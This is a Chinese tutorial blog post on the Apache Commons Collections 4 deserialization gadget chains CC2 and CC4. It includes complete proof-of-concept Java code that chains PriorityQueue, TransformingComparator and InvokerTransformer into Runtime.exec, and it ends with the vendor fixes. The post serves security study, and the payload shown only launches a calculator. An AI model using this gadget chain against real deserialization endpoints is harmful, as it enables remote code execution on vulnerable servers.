zoukankan      html  css  js  c++  java
  • 反序列化Gadget学习篇七 CommonCollections2/4与漏洞修复

    背景:

    Apache Commons Collections是一个著名的辅助开发库,包含了一些Java中没有的数据结构和和辅助方法,不过随着Java 9以后的版本中原生库功能的丰富,以及反序列化漏洞的影响,它也在逐渐被升级或替代。
    在2015年底commons-collections反序列化利用链被提出时,Apache Commons Collections有以下两个分支版本:

    • commons-collections:commons-collections
    • org.apache.commons:commons-collections4

    可⻅,groupId和artifactId都变了。前者是Commons Collections老的版本包,当时版本号是3.2.1;后者是官方在2013年推出的4版本,当时版本号是4.0。那么为什么会分成两个不同的分支呢?
    官方认为旧的commons-collections有一些架构和API设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4不再认为是一个用来替换commons-collections的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。
    依赖的区别:

    <dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-
    collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-
    collections4 -->
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>
    

    3.2.1中存在反序列化利用链在4.0版本仍然可以利用,只需要进行一点改动:
    LazyMap.decorate改为LazyMap.lazyMap即可

    CommonCollections4版本的新链

    commons-collections这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上原因是其中包含了一些可以执行任意方法的Transformer。所以,在commons-collections中找Gadget的过程,实际上可以简化为,找一条从Serializable#readObject()方法到Transformer#transform()方法的调用链。

    4版本有yso里有两个新链,CommonCollections2和CommonCollections4;

    CommonCollection2

    关键类:

    • java.util.PriorityQueue
    • org.apache.commons.collections4.comparators.TransformingComparator

    java.util.PriorityQueue是一个有自己readObject()方法的类:

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();
    
        // Read in (and discard) array length
        s.readInt();
    
        queue = new Object[size];
    
        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
    
        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
    }
    

    org.apache.commons.collections4.comparators.TransformingComparator里调用了transform()方法

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    

    连接起来的调用顺序:
    PriorityQueue#readObject()中调用了heapify()方 法,heapify()中调用了 siftDown()siftDown()中调用了siftDownUsingComparator()siftDownUsingComparator()中调用的comparator.compare(),于是就连接到上面的TransformingComparator了。流程比较简单。

    关于PriorityQueue

    • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树
    • 反序列化时为什么需要调用 heapify() 方法?为了反序列化后,需要恢复(换言之,保证)这个结构的顺序
    • 排序是靠将大的元素下移实现的。siftDown()是将节点下移的函数, 而comparator.compare()用来比较两个元素大小
    • TransformingComparator实现了java.util.Comparator接口,这个接口用于定义两个对象如何进行比较。siftDownUsingComparator()中就使用这个接口的compare()方法比较树的节点。

    构造Gadgets

    1. 准备Transform数组
      Transformer transformer[] = new Transformer[]{
                  new ConstantTransformer(Runtime.class),
                  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                  new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
          };
      
    2. 准备Comparator
      Transformer transformerChain = new ChainedTransformer(faketanformer);
      Comparator comparator = new TransformingComparator(transformerChain);
      
    3. 初始化PriorityQueue,transform是在compare触发,至少有两个元素才会触发比较
      PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
      priorityQueue.add(1);
      priorityQueue.add(2);
      

    完整代码:

    package changez.sec.CC2;
    
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    
    import java.io.ByteArrayInputStream;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.util.Comparator;
    import java.util.PriorityQueue;
    
    
    public class CommonCollections2 {
    
    
        public static void main(String[] args) throws Exception{
            Transformer transformer[] = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
            };
            Transformer faketanformer[] = new Transformer[]{
                    new ConstantTransformer(1)
            };
    
            Transformer transformerChain = new ChainedTransformer(faketanformer);
    
            Comparator comparator = new TransformingComparator(transformerChain);
    
            PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
            priorityQueue.add(1);
            priorityQueue.add(2);
    
            Field f = transformerChain.getClass().getDeclaredField("iTransformers");
            f.setAccessible(true);
            f.set(transformerChain, transformer);
    
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(priorityQueue);
            oos.close();
    
            System.out.println(bos);
    
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
            Object o = ois.readObject();
        }
    }
    
    

    有了前面的经验,我们可以改造这个poc,比如使用TemplatesImpl,去掉数组的限制,让其在shiro中可用。

    CommonCollection4

    ysoserial中CommonCollection4实际上是上面CC2与前面说过的CC3的一个结合:

    前一段和CC2一样,通过PriorityQueue的compare方法触发transform,transform部分和CC3相同,执行TrAXFilter的构造方法,最终加载构造好的恶意TemplatesImpl。

    修复

    Apache Commons Collections官方在2015年底得知序列化相关的问题后,就在两个分支上同时发布了新的版本,4.1和3.2.2。
    在3.2.2上,新版本增加了一个方法FunctorUtils#checkUnsafeSerialization用来检测徐俩号是否安全。
    这个检查在常⻅的危险Transformer类(InstantiateTransformerInvokerTransformerPrototypeFactoryCloneTransformer 等)的 readObject 里进行调用,所以,当我们反序列化包含这些对象时就会抛出一个异常:

    Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.

    在4.1里,这几个危险Transformer类不再实现 Serializable 接口,也就是说,这几个彻底无法序列化和反序列化了。

  • 相关阅读:
    UVA10340
    声明顺序 (Bootstrap 编码规范)
    使用SVN小结
    通过LINQ TO SQL类显示数据库表的数据
    大学初进团队感想
    51NOD:1639-绑鞋带
    Codeforces Round #464 (Div. 2) E. Maximize!
    Codeforces Round #464 (Div. 2) D. Love Rescue
    Codeforces Round #464 (Div. 2) C. Convenient For Everybody
    Codeforces Round #464 (Div. 2) B. Hamster Farm
  • 原文地址:https://www.cnblogs.com/chengez/p/CommonCollections2_4.html
Copyright © 2011-2022 走看看